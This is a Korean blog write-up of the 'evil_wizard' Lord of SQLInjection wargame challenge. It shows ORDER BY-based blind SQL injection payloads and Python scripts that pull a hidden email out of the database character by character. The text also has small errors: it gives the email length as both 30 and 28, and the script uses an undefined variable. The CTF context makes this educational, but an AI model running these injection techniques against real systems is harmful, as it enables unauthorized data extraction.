Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 evil_wizard문제에 대해 다루겠다.


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

evil_wizard

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., proc, union, sleep, benchmark를 필터링하고 있다는 것을 알 수 있다.

또한 email의 값을 알아내야만 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

우선 아무런 값을 넣어서 공격을 실행해보겠다.

### 사용할 공격문 : order=1

### 실행 결과 :

1차 시도

id값 admin의 email값이 *****로 출력된 것을 확인할 수 있다. email의 값을 알아내야 하기 때문에 Blind SQL Injection 기법을 활용해보겠다.

 

먼저 email의 길이값을 알아야 하는데, 여기서는 order by를 통해 정렬된 순서를 활용하여 공격해보겠다.

### 사용할 공격문 : order=length(email)=20, id='rubiya'

### 실행 결과 :

2차 시도

order by 뒤에 조건이 2개 붙어있는 것을 확인할 수 있다. length(email)은 email의 길이값을 반환하는 함수이며, 만약 email의 길이값이 20이면 최종 반환값이 True가 된다. 즉 첫 번째 조건이 참인 경우 첫 번째 조건에 의해서 정렬되며, 아닌 경우 False를 반환하게 되는데, 이때 order by에는 뒤에 오는 id='rubiya'라는 조건을 적용하여 정렬하게 된다.

 

실제 테스트해본 결과, admin의 email 길이 값이 30이므로 30로 다시 공격해보겠다.

### 사용할 공격문 : order=length(email)=30, id='rubiya'

### 실행 결과 : 

length(email) = 30

email의 길이값이 28이므로 첫 번째 조건에 의해서 정렬된 것을 확인할 수 있다. 참고로 컬럼 이름이 아닌 값을 넣게 된 경우 일치한 값이 아래로 내려가게 된다. 

 

그러나 실제 값의 경우 길이가 엄청 클 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값


email_len = 0  # 이메일 길이 초기화
while 1:  # while문 실행
    email_len += 1  # 이메일 길이 + 1
    # 쿼리문 작성
    query = f"length(email) = {email_len}, id='rubiya'"
    params = {'order': query}  # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies)  # 요청
    # print(response.text)
    if "id</th><th>email</th><th>score</th><tr><td>rubiya" in response.text:  # rubiya가 응답의 위에 있다면
        print("[-] Email's length : ", email_len)  # 이메일 길이 출력
        break  # while문 종료

### 실행 결과 :

실행 결과 (이메일 길이)

이어서 각 이메일이 어떤 값인지 알아내도록 하겠다.

### 사용할 공격문 : order=ascii(substr(email, 1, 1))=98, id='rubiya'

### 실행 결과 :

1차 시도

email의 첫번째 자리의 아스키 코드가 98(b)가 아닌 것을 알 수 있다.

 

실제로 테스트해본 결과 첫번째 이메일의 아스키 코드가 97(a)이므로 97로 다시 공격해보겠다.

### 사용할 공격문 : order=ascii(substr(email, 1, 1))=97, id='rubiya'

### 실행 결과 :

email[0] = 'a'

admin 줄이 아래로 간 것을 확인할 수 있다.

 

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 :

def search_email(email_len): # 이메일 찾기 함수
    email = '' # 이메일 초기화
    for i in range(1, pw_len+1): # 이메일의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f"ascii(substr(email, {i}, 1))={ch}, id='rubiya'" # 쿼리문 작성
            params = {'order': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "id</th><th>email</th><th>score</th><tr><td>rubiya" in response.text:  # rubiya가 응답의 위에 있다면
                email += chr(ch) # email에 아스키 코드를 변환하여 저장
                print("Email : ", email) # 값 출력
                break # 종료

### 실행 결과 :

실행 결과 (이메일)

### 최종 공격문 : email=aasup3r_secure_email@emai1com

### 실행 결과 :

공격 성공

## 추가 해석 :

order by는 2가지 형태를 가지고 있다.

(1) order by [컬럼 이름]
(2) order by [컬럼 이름] = '값'

(1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬하게 된고 (2)와 같이 정렬하게 되면, 값이 일치하는지 여부에 따라 정렬하게 된다. 또한 (2)는 참일 때 값이 아래로, 거짓일 때 값이 위로 정렬하게 된다.

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!